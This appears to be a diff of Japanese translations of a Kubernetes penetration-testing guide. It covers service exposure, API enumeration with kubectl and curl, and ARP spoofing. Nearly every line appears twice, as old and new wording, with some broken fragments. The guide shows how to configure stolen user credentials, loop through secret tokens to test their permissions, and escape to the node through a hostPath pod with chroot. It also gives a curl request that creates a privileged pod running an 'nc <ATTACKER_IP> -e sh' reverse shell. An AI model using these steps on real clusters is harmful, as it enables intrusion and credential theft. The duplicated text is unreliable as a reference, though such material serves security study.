-o custom-columns='NAME:.metadata.name,ADDR:.endpoints[*].addresses,READY:.endpoints[*].conditions.ready,PORTS:.ports[*].port'
```
露出を確認する際は、Service selector と EndpointSlice の `targetRef`、endpoint addresses、readiness conditions、ports を比較してください。selector のない Service は、手動で管理された EndpointSlices と組み合わせて、トラフィックを non-Pod や予期しない宛先へルーティングできます。
露出を確認する際は、Service selector と EndpointSlice の `targetRef`、endpoint addresses、readiness conditions、ports を比較してください。selector のない Service は、手動で管理された EndpointSlices と組み合わせることができ、traffic を non-Pod や予期しない宛先へ route する可能性があります。
### Ingress
上記のすべての例とは異なり、**Ingress は service の一種ではありません**。代わりに、**複数の services の前面に置かれ、クラスタへの“smart router”** または entrypoint として動作します。
上記の例とは異なり、**Ingress は service の一種ではありません**。代わりに、**複数の services の前面に置かれ、クラスタへの “smart router” または entrypoint として動作します**
Ingress では多くのことができ、**異なる機能を持つ多くの種類の Ingress controllers** があります。
Ingress を使うとさまざまなことができますし、**機能の異なる多くの種類の Ingress controllers があります**
デフォルトの GKE ingress controller は、[HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) を自動で立ち上げます。これにより、path ベースと subdomain ベースの両方の routing を backend services に対して行えます。たとえば、foo.yourdomain.com のすべてを foo service に送り、yourdomain.com/bar/ path 配下のすべてを bar service に送ることができます。
default の GKE ingress controller は、あなたのために [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) を起動します。これにより、path based routing と subdomain based routing の両方を backend services に対して行えます。たとえば、foo.yourdomain.com のすべてを foo service に送り、yourdomain.com/bar/ path 配下のすべてを bar service に送ることができます。
[HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) を使う GKE 上の Ingress object の YAML は、次のようになります:
GKE 上の [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) を使う Ingress object の YAML は、次のようになります:
```yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
@@ -208,37 +211,46 @@ name: bar
port:
number: 8080
```
すべてのingressesを一覧表示する:
すべてのingressesを列挙します:
```bash
kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status'
```
この場合は、各項目の情報を1つずつ取得して、より読みやすくするほうがよい:
ただし、この場合は、各項目の情報を1つずつ取得して、より読みやすくするがよいです:
```bash
kubectl get ingresses --all-namespaces -o=yaml
```
### Gateway API
Gateway API は、Services を公開するためのより新しい Kubernetes API です。これは、インフラ所有の Gateway オブジェクトと、HTTPRoute のようなアプリケーション所有の Route オブジェクトを分離します。これは委任に便利ですが、公開が namespaces をまたいで分かれる可能性も意味します。
Gateway API は、Service を公開するための新しい Kubernetes API です。インフラ所有の Gateway オブジェクトと、HTTPRoute のようなアプリケーション所有の Route オブジェクトを分離します。これは委譲に有用ですが、露出が namespace 間で分割される可能性も意味します。
Gateway API の exposure オブジェクトを列挙する:
Gateway API の exposure オブジェクトを一覧表示します:
```bash
kubectl get gatewayclasses
kubectl get gateways --all-namespaces
kubectl get httproutes --all-namespaces
kubectl get grpcroutes,tlsroutes,tcproutes,udproutes --all-namespaces
kubectl get referencegrants --all-namespaces
kubectl get backendtlspolicies --all-namespaces
kubectl get gateway -n <namespace> <gateway-name> -o yaml
kubectl get httproute -n <namespace> <route-name> -o yaml
```
Gateway listeners、allowed route namespaces、Route `parentRefs`、hostnames、filters、backend references、そして route が accepted されたかどうかなどの status conditions を確認します。shared Gateway によって accepted された Route は、legacy Ingress object が存在しなくても backend を expose できます。
Gateway listeners、allowed route namespaces、Route `parentRefs`、hostnames または SNI の一致、filters、backend references、そして `Accepted``ResolvedRefs``Programmed` のような status conditions を確認します。shared Gateway によって accepted された Route は、legacy Ingress object が存在しなくても backend を expose できます。
HTTPRoute だけを確認しないでください。GRPCRoute、TLSRoute、TCPRoute、UDPRoute は、admin ports、brokers、databases、service-mesh gateways、または pass-through TLS backends などの non-HTTP services を expose できます。さらに、cross-namespace の backend または certificate references 用の `ReferenceGrant` objects と、Gateway が backend Services に接続するときに使用する TLS identity 用の `BackendTLSPolicy` も確認してください。Backend TLS policy だけでは public reachability の証拠にはなりませんが、programmed な Gateway route が ready な Service に到達し、弱い、共有された、または誤った backend identity validation を使っている場合には有用な証拠になります。
### References
- [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0)
- [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/)
- [https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/](https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/)
- [https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/](https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/)
- [https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/](https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/)
- [https://kubernetes.io/docs/tutorials/services/source-ip/](https://kubernetes.io/docs/tutorials/services/source-ip/)
- [https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/](https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/)
- [https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/](https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/)
- [https://gateway-api.sigs.k8s.io/](https://gateway-api.sigs.k8s.io/)
- [https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/](https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/)
- [https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/](https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/)
- [https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9](https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9)
{{#include ../../banners/hacktricks-training.md}}
@@ -76,14 +76,14 @@ With **`get`** permissions you can access information of specific assets (_`desc
```
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
```
**`list`** 権限がある場合、ある種の asset を一覧表示する API リクエストを実行できます(_`kubectl``get` オプション_):
もし **`list`** 権限がある場合、ある種の asset を一覧表示する API リクエストを実行できます(_`kubectl``get` オプション_):
```bash
#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments
```
`watch` 権限がある場合、assets を監視するための API requests を実行できます:
`watch`` 権限がある場合、アセットを監視するための API リクエストを実行できます:
```
GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
@@ -91,14 +91,14 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
GET /apis/apps/v1/watch/deployments [DEPRECATED]
```
それらは、変更があるたびに(または新しいものが作成されたときに)Deployment の完全な manifest を返す streaming connection を開きます。
らは、Deployment が変更されるたびに(または新しいものが作成されるたびに)その完全な manifest を返すストリーミング接続を開きます。
> [!CAUTION]
> 以下の `kubectl` commands は、オブジェクトの list の方法だけを示していす。データに access したい場合は、`get` ではなく `describe` を使う必要があります
> 以下の `kubectl` コマンドは、オブジェクトの一覧を取得する方法を示しているだけです。データにアクセスしたい場合は、`get` の代わりに `describe` を使う必要があります
### Using curl
pod の内部からは、いくつかの env variables を使えます:
pod のからは、いくつかの env variables を使えます:
```bash
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
@@ -109,21 +109,21 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
```
> [!WARNING]
> デフォルトでは、pod はドメイン名 **`kubernetes.default.svc`** で **kube-api server** に**アクセス**でき、また **`/etc/resolv.config`** 内 kube network を確認できます。ここ kubernetes DNS server のアドレスが見つかります(同じレンジの ".1" kube-api endpoint です)。
> デフォルトでは、pod はドメイン名 **`kubernetes.default.svc`** で **kube-api server** に**アクセス**でき、ここで **`/etc/resolv.config`** 内 kube network を確認できます。ここには kubernetes DNS server のアドレスがあり(同じ範囲の ".1" kube-api endpoint です)。
### Using kubectl
トークンと API server のアドレスがあれば、ここに示すように kubectl または curl を使ってアクセスできます:
token と API server の address があれば、ここに示すように kubectl または curl を使ってアクセスできます:
デフォルトでは、APISERVER は `https://` schema で通信しています
デフォルトでは、APISERVER は `https://` schema で通信します
```bash
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
```
> url に `https://` がない場合、Bad Request のような Error がることがあります。
> URL に `https://` がない場合、Bad Request のような Error が発生することがあります。
[**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/) を見ることができます。以下のセクションの目的は、アクセスを得た新しい K8s を列挙し理解するためのさまざまな options を、順序立てて示すことです。
[**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/) を参照できます。以下のセクションの目的は、アクセスを得た新しい K8s を enumerate して理解するためのさまざまな options を、順序立てて示すことです。
`kubectl` が送信する HTTP request を見つけるには、parameter `-v=8` を使用できます
`kubectl` が送信する HTTP request を見つけるには、parameter `-v=8` を使ます
#### MitM kubectl - Proxyfying kubectl
```bash
@@ -150,7 +150,7 @@ kubectl config set-context --current --namespace=<namespace>
{{#endtab }}
{{#endtabs }}
ユーザーの認証情報をいくつか盗めたなら、次のような方法で**ローカル設定**できます:
いくつかのユーザーの認証情報を盗めた場合、次のような方法で**ローカル設定**できます:
```bash
kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
@@ -161,9 +161,9 @@ kubectl config set-credentials USER_NAME \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )
```
### サポートされているリソースを取得
### サポートされているリソースを取得する
この情報があれば、列挙できるすべてのサービスがかります
この情報があれば、列挙できるすべてのサービスがかります
{{#tabs }}
{{#tab name="kubectl" }}
@@ -176,18 +176,44 @@ k api-resources --namespaced=false #Resources NOT specific to a namespace
### 確認すべき Object metadata
object を読める場合は、テーブル出力や `describe` だけに頼らず、完全な YAML または JSON を export してください。最も有用な security context は、さまざまな resource type に共通して存在する汎用の object fields に含まれていることが多いです:
Object を読める場合は、table output や `describe` だけに頼らず、完全な YAML または JSON を export してください。最も有用な security context は、しばしば多くの resource type に共通して存在する generic な object fields にあります:
```bash
kubectl get pod <pod> -n <ns> -o yaml
kubectl get deploy <deploy> -n <ns> -o json | jq '.metadata, .spec, .status'
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase'
```
- `metadata.uid`, `name`, `namespace`, `apiVersion` and `kind`正確なオブジェクトを特定し、異なる namespace や API group にある同名オブジェクトとの混同を避けます。
- `metadata.labels` と selectors はServices、Deployments、ReplicaSets、Pods、NetworkPolicies、automation を接続します。selectors をたどることは、Service の実際の backend pods を特定する最速の方法であることが多いです。
- `metadata.annotations` には、ingress の挙動、cloud load balancer 設定、GitOps や Helm のメタデータ、policy exemptions、service mesh 設定などの運用コンテキストが漏れることがあります。ここに secrets を含めるべきではありませんが、実際の cluster では有用な手がかりが露出していることがよくあります。
- `metadata.ownerReferences` は controller の系譜を示します。Pod が Deployment に owned された ReplicaSet に owned されている場合、Pod だけを変更または削除しても通常は原因解決できません。
- `metadata.finalizers``metadata.deletionTimestamp` は、削除処理で止まっている resource の理由を説明し、cleanup controllers や persistence/disruption の仕掛けを明らかにすることがあります。
- `status`、Events、conditions からは、node placement、pod IPs、image IDs、failure messages、scheduling issues、admission denials、controller の進行状況を把握できます。これらは有用な手がかりですが、誰が action を実行したかを証明するにはaudit logs が依然として必要です。
- `metadata.uid`, `name`, `namespace`, `apiVersion` and `kind` は正確な object を識別し、異なる namespace や API group にある同名 object との混同を避けます。
- `metadata.labels` と selectors は Services、Deployments、ReplicaSets、Pods、NetworkPolicies、そして automation を接続します。selectors をたどることは、Service の実際の backend pods を特定する最速の方法であることが多いです。
- `metadata.annotations` は ingress behavior、cloud load balancer 設定、GitOps や Helm metadata、policy exemptions、service mesh 設定などの運用コンテキストを leak することがあります。secret を含めるべきではありませんが、実際の cluster では有用な手がかりがそこに露出していることがよくあります。
- `metadata.ownerReferences` は controller lineage を示します。Pod が Deployment に owned された ReplicaSet に owned されている場合、通常は Pod だけを変更または削除しても元の原因解決ません。
- `metadata.finalizers` と `metadata.deletionTimestamp` は、deletion で stuck した resource を説明し、cleanup controller や persistence/disruption の tricks を明らかにすることがあります。
- `status`、Events、conditions は、node placement、pod IPs、image IDs、failure messages、scheduling issues、admission denials、controller progress を明らかにすることがあります。これらは有用な手がかりですが、誰が action を実行したかを証明するには audit logs がまだ必要です。
### Dynamic Resource Allocation and device evidence
cluster が GPUs、NICs、FPGAs、または他の specialized hardware を使用している場合、Kubernetes Dynamic Resource Allocation (DRA) が存在するか確認してください。DRA は、利用可能な device を記述し、それらを Pods 用に claim するために、`DeviceClass`、`ResourceSlice`、`ResourceClaim`、`ResourceClaimTemplate` のような `resource.k8s.io` objects を使用します。これらの objects から、どの node が価値のある hardware にアクセスできるか、どの driver がそれを管理しているか、どの workload が allocation を持っているかが分かることがあります。
```bash
kubectl api-resources --api-group=resource.k8s.io
kubectl get deviceclasses.resource.k8s.io 2>/dev/null
kubectl get resourceslices.resource.k8s.io 2>/dev/null
kubectl get resourceclaims.resource.k8s.io -A 2>/dev/null
kubectl get resourceclaimtemplates.resource.k8s.io -A 2>/dev/null
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"/"}{.metadata.name}{" claims="}{.spec.resourceClaims}{" node="}{.spec.nodeName}{"\n"}{end}'
kubectl get daemonsets,pods -A -o wide | grep -Ei 'dra|device|gpu|nvidia|amd|intel|sriov|fpga'
```
レビューの際は、cluster-scoped の `DeviceClass` と `ResourceSlice` オブジェクトへの書き込みを admin と DRA drivers に制限し、`ResourceClaim` / `ResourceClaimTemplate` の権限はそれらを必要とする namespace に限定してください。`ResourceClaim` の status を更新する driver permissions は、明示的かつ最小限にすべきです。node 上では、kubelet PodResources API は通常 `/var/lib/kubelet/pod-resources/kubelet.sock` 経由で公開されています。monitoring DaemonSets がこのディレクトリを mount して割り当て済みの devices を確認することがあるため、他の privileged node agents と同様にそれらの Pods を確認してください。
### ClusterTrustBundle and add-on certificate trust
最近の cluster では、`certificates.k8s.io` API group に `ClusterTrustBundle` objects が公開される場合があります。これは cluster-scoped の X.509 trust anchor bundles で、Pods は projected volumes を通じて mount できます。広い read access は想定されていますが、write access は重要です。trusted roots を変更すると、webhooks、aggregated APIs、service meshes、そして cluster-distributed CA material を利用する applications に影響を与える可能性があります。
```bash
kubectl api-resources --api-group=certificates.k8s.io | grep -i clustertrustbundle
kubectl get clustertrustbundles.certificates.k8s.io 2>/dev/null
kubectl get clustertrustbundle <name> -o yaml 2>/dev/null
kubectl get pods -A -o yaml | grep -n -E 'clusterTrustBundle|trustBundle|caBundle'
kubectl get apiservices -o jsonpath='{range .items[*]}{.metadata.name}{" insecure="}{.spec.insecureSkipTLSVerify}{" service="}{.spec.service.namespace}{"/"}{.spec.service.name}{"\n"}{end}'
```
During review, `signerName`、bundle fingerprints、writer identities、projected-volume consumers、および cert-manager trust-manager のような trust-distribution controller を記録する。`APIService` objects のうち `insecureSkipTLSVerify: true`、古い `caBundle` values、または APIService/webhook trust fields を patch する broad permissions を持つものは、通常の object inventory ではなく certificate-trust findings として扱う。
### Get Current Privileges
@@ -212,21 +238,21 @@ kurl -i -s -k -X $'POST' \
{{#endtab }}
{{#endtabs }}
権限を確認する別の方法は、ツール [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\* を使うことです。
権限を確認する別の方法として、このツールを使えます: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
**Kubernetes RBAC** については、以下で詳しく学べます:
**Kubernetes RBAC** については、以下でさらに学べます:
{{#ref}}
kubernetes-role-based-access-control-rbac.md
{{#endref}}
**自分がどの権限を持っているか**かったら、次のページを確認して**それらを悪用して** 権限昇格できるかを判断してください:
**自分がどの権限を持っているか** がかったら、次のページを確認して **それらを悪用できるか** を調べ、権限昇格できるかてください:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
{{#endref}}
### 他の roles を取得する
### 他の role を取得する
{{#tabs }}
{{#tab name="kubectl" }}
@@ -244,9 +270,9 @@ kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clu
{{#endtab }}
{{#endtabs }}
### ネームスペースの取得
### namespace を取得する
Kubernetes は、同じ物理クラスタを基盤とする **複数の仮想クラスタ** をサポートしています。これらの仮想クラスタは **namespaces** と呼ばれます。
Kubernetes は、同じ物理クラスタを基盤とする**複数の仮想クラスタ**をサポートしています。これらの仮想クラスタは**namespaces**と呼ばれます。
{{#tabs }}
{{#tab name="kubectl" }}
@@ -262,7 +288,7 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/
{{#endtab }}
{{#endtabs }}
### シークレットを取得する
### secrets を取得する
{{#tabs }}
{{#tab name="kubectl" }}
@@ -281,13 +307,13 @@ kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/
{{#endtab }}
{{#endtabs }}
secretsを読める場合、以下の行を使用して各tokenに関連する権限を取得できます:
シークレットを読めるなら、以下の行を使って各トークンに関連する権限を取得できます:
```bash
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
```
### Service Account 取得
### Service Account 取得
このページの冒頭で説明したように、**pod が実行されると通常は service account が割り当てられます**。したがって、service account、その権限、そしてそれらがどこで実行されているかを列挙することで、ユーザーが権限を昇格できる可能性があります。
このページの冒頭で説明したように、**pod が実行されると通常は service account が割り当てられます**。そのため、service account、その権限、そしてどこで実行されているかを列挙できれば、ユーザーが権限を昇格できる可能性があります。
{{#tabs }}
{{#tab name="kubectl" }}
@@ -305,7 +331,7 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
### Deployments を取得
Deployments は、ステートレスなアプリケーション workload の desired state を指定します。これは ReplicaSets を作成し、その ReplicaSets が Pods を作成します。
Deployments は、stateless application workloads の desired state を指定します。これは ReplicaSets を作成し、その ReplicaSets が Pods を作成します。
{{#tabs }}
{{#tab name="kubectl" }}
@@ -322,9 +348,9 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/deployments/
{{#endtab }}
{{#endtabs }}
### StatefulSets を取得する
### StatefulSets を取得
StatefulSets は、安定した名前、順序付きのロールアウト動作、そして多くの場合レプリカごとの persistent volume を必要とする Pods を管理します。
StatefulSets は、安定した名前、順序付きのロールアウト動作、そして多くの場合レプリカごとの persistent volumes が必要な Pods を管理します。
{{#tabs }}
{{#tab name="kubectl" }}
@@ -343,7 +369,7 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/statefulsets/
### Podsを取得
Podsは実際に**実行**される**containers**です。
Podsは実際に**実行される** **containers** です。
{{#tabs }}
{{#tab name="kubectl" }}
@@ -362,7 +388,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
### サービスの取得
Kubernetes **services** は、**特定のポートと IP で service を公開**するために使われます(これは、実際に service を提供している pods に対する load balancer として動作します)。これは、攻撃を試みるべき他の services をどこで見つけられるかを知るうえで重要です。
Kubernetes**services**は、**特定のportとIPでserviceを公開する**ために使われます(これは、実際にserviceを提供しているpodsに対するload balancerとして機能します)。これは、攻撃を試みるための他のserviceをどこで見つけられるかを知るうえで興味深いです。
{{#tabs }}
{{#tab name="kubectl" }}
@@ -381,7 +407,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/services/
### ノードを取得
クラスタ内に設定されているすべての**nodes**を取得します。
クラスタ内に設定されているすべての**ノード**を取得します。
{{#tabs }}
{{#tab name="kubectl" }}
@@ -397,9 +423,9 @@ kurl -v https://$APISERVER/api/v1/nodes/
{{#endtab }}
{{#endtabs }}
### DaemonSetsの取得
### DaemonSets を取得する
**DaemonSets** は、クラスタ内の**選択されたすべての node で特定の Pod が動作すること**を保証します。DaemonSet を削除すると、それによって管理されている Pod も削除されます。
**DaemonSets** は、クラスタ内の**選択されたすべてのノードで特定の Pod が実行される**ことを保証します。DaemonSet を削除すると、それによって管理されている Pods も削除されます。
{{#tabs }}
{{#tab name="kubectl" }}
@@ -417,7 +443,7 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/daemonsets
### ジョブの取得
Jobs は完了するまで実行される Pods を作成します。これは一般的に migration、backup、batch work、単発の administrative task に使われます。
Jobs は完了するまで実行される Pods を作成します。これらは、移行、バックアップ、バッチ処理、単発の管理タスクによく使われます。
{{#tabs }}
{{#tab name="kubectl" }}
@@ -434,9 +460,9 @@ kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/jobs
{{#endtab }}
{{#endtabs }}
### CronJobの取得
### CronJobsの取得
CronJobはcrontabのようなスケジュールを使用して、タスク実行のためにPodを起動するJobを作成します。
CronJobsはcrontabのスケジュールを使て、タスク形式の実行のためにPodsを起動するJobsを作成す
{{#tabs }}
{{#tab name="kubectl" }}
@@ -455,7 +481,7 @@ kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/cronjobs
### configMap を取得
configMap には常に多くの情報と、kubernetes 上で動作するアプリに提供される設定ファイルが含まれています。通常、他の internal/external service への接続や認証に使われる password、secrets、tokens を多く見つけることができます。
configMap には、kubernetes 上で動作するアプリに提供される多くの情報や configfile が常に含まれています。通常、他の internal/external service への接続や認証に使われる password、secrets、tokens をたくさん見つけることができます。
{{#tabs }}
{{#tab name="kubectl" }}
@@ -471,7 +497,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps
{{#endtab }}
{{#endtabs }}
### Network Policies / Cilium Network Policies 取得
### Network Policies / Cilium Network Policies 取得
{{#tabs }}
{{#tab name="First Tab" }}
@@ -483,7 +509,7 @@ k get CiliumClusterwideNetworkPolicies
{{#endtab }}
{{#endtabs }}
### すべて取得 / All
### すべて取得 / All
{{#tabs }}
{{#tab name="kubectl" }}
@@ -493,7 +519,7 @@ k get all
{{#endtab }}
{{#endtabs }}
### **helmによって管理されているすべてのリソースを取得する**
### **helm によって管理されているすべてのリソースを取得する**
{{#tabs }}
{{#tab name="kubectl" }}
@@ -503,7 +529,7 @@ k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'
{{#endtab }}
{{#endtabs }}
### **Podの消費量を取得**
### **Pods の消費量を取得する**
{{#tabs }}
{{#tab name="kubectl" }}
@@ -513,23 +539,23 @@ k top pod --all-namespaces
{{#endtab }}
{{#endtabs }}
## kubectlを使わずにclusterとやり取りする
## kubectlを使わずにclusterと対話する
Kubernetes control planeREST-ful APIを公開しているため、HTTPリクエストを手作業で作成し、**curl** や **wget** などの他のツールで送信できます。
Kubernetes control planeREST-ful API を公開しているため、HTTP requests を手作業で組み立て、**curl** や **wget** などの他の tools で送信できます。
### podからの脱出
### pod からの脱出
新しいpodを作成できる場合、そからnodeへ脱出できるかもしれません。そのためには、yamlファイルを使って新しいpodを作成し、作成したpodへ移動してからnodesystemchrootする必要があります。既存のpodは、既存のimagespathesを表示しているため、yamlファイルの参照として利用できます。
新しい pods を作成できる場合、それらから node へ escape できるかもしれません。そのためには、yaml file を使って新しい pod を作成し、作成した pod に switch してから nodesystemchroot する必要があります。既存の pods は、既存の imagespaths を表示しているので、yaml file の reference として使えます。
```bash
kubectl get pod <name> [-n <namespace>] -o yaml
```
> 特定のnodepodを作成する必要がある場合、nodelabelを取得するためにのコマンドを使えます
> 特定の nodepod を作成する必要がある場合、node 上の labels を取得するために以下のコマンドを使えます
>
> `k get nodes --show-labels`
>
> 一般的に、kubernetes.io/hostname と node-role.kubernetes.io/master は選択に使うのに適したlabelです。
> 一般的に、kubernetes.io/hostname と node-role.kubernetes.io/master は選択に使うのに適した label です。
その後、attack.yamlファイルを作成します
その後、attack.yaml ファイルを作成します
```yaml
apiVersion: v1
kind: Pod
@@ -561,23 +587,23 @@ restartPolicy: Never
```
[original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba)
その後、podを作成します
その後、pod を作成します
```bash
kubectl apply -f attacker.yaml [-n <namespace>]
```
作成された pod には次のように切り替えられます
これで、次のようにして作成した pod に切り替えられます
```bash
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
```
そして最後に、nodesystemchroot します
そして最後に、nodesystemchrootします
```bash
chroot /root /bin/bash
```
Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
### privileged pod の作成
### privileged podの作成
対応する yaml ファイルは以下のとおりです:
対応するyaml fileは以下のとおりです:
```yaml
apiVersion: v1
kind: Pod
@@ -605,7 +631,7 @@ volumes:
hostPath:
path: /
```
curlpodを作成する:
curl を使って pod を作成する:
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -621,9 +647,9 @@ curl --path-as-is -i -s -k -X $'POST' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### podを削除する
### pod を delete する
curlでpodを削除する:
curl で pod を delete する:
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -711,7 +737,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
```
### Role Bindingを作成する
### Role Binding を作成する
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -746,7 +772,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
```
### SecretをDeleteする
### Secret を削除する
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -781,7 +807,7 @@ ccurl --path-as-is -i -s -k -X $'DELETE' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"
```
## 参考文献
## References
{{#ref}}
https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3
@@ -4,16 +4,16 @@
## Introduction
Kubernetesでは、デフォルトの動作として、**同じnode上に存在するすべてのコンテナ**間で接続確立が許可されることが確認されています。これはnamespaceの違いに関係なく適用されます。この接続性は**Layer 2**(Ethernet)まで及びます。その結果、この設定はシステムを脆弱性にさらす可能性があります。具体的には、同じnode上の他のコンテナに対して**malicious container**が**ARP spoofing attack**を実行できる可能性があります。このような攻撃では、malicious container他のコンテナ宛てのネットワークトラフィックを欺いて傍受したり、改ざんしたりできます。
Kubernetesでは、デフォルトの動作として、**同じnode上に存在するすべてのcontainers** 間で接続確立できることが観察されています。これはnamespaceの違いに関係なく適用されます。この接続性は**Layer 2**(Ethernet)まで及びます。その結果、この設定はシステムを脆弱性にさらす可能性があります。具体的には、同じnode上の他のcontainersに対して**malicious container**が**ARP spoofing attack**を実行できるようになります。この攻撃中、malicious container他のcontainers宛てのnetwork trafficを欺瞞的に傍受または改ざんできます。
ARP spoofing attacksは、**attackerが偽造されたARP**Address Resolution Protocol)メッセージをローカルエリアネットワーク上に送信する攻撃です。これにより、**attackerのMAC addressがネットワーク上の正当なコンピュータまたはserverのIP addressに結び付けられます**。この攻撃が成功すると、attackerは通信中のデータを傍受、改ざん、あるいは停止させることができます。攻撃はOSI modelのLayer 2で実行されるため、Kubernetesにおけるこのレイヤーでのデフォルト接続性はセキュリティ上の懸念となります。
ARP spoofing attacksは、**attackerが偽造たARP**Address Resolution Protocol)メッセージをlocal area network上で送信します。これにより、**attackerのMAC addressがnetwork上の正当なcomputerまたはserverのIP addressに関連付けられます**。このような攻撃が成功すると、attackerはtransit中のdataを傍受、改ざん、あるいは停止させることができます。この攻撃はOSI modelのLayer 2で実行されるため、Kubernetesにおけるこのlayerでのdefault connectivityはsecurity上の懸念を引き起こします。
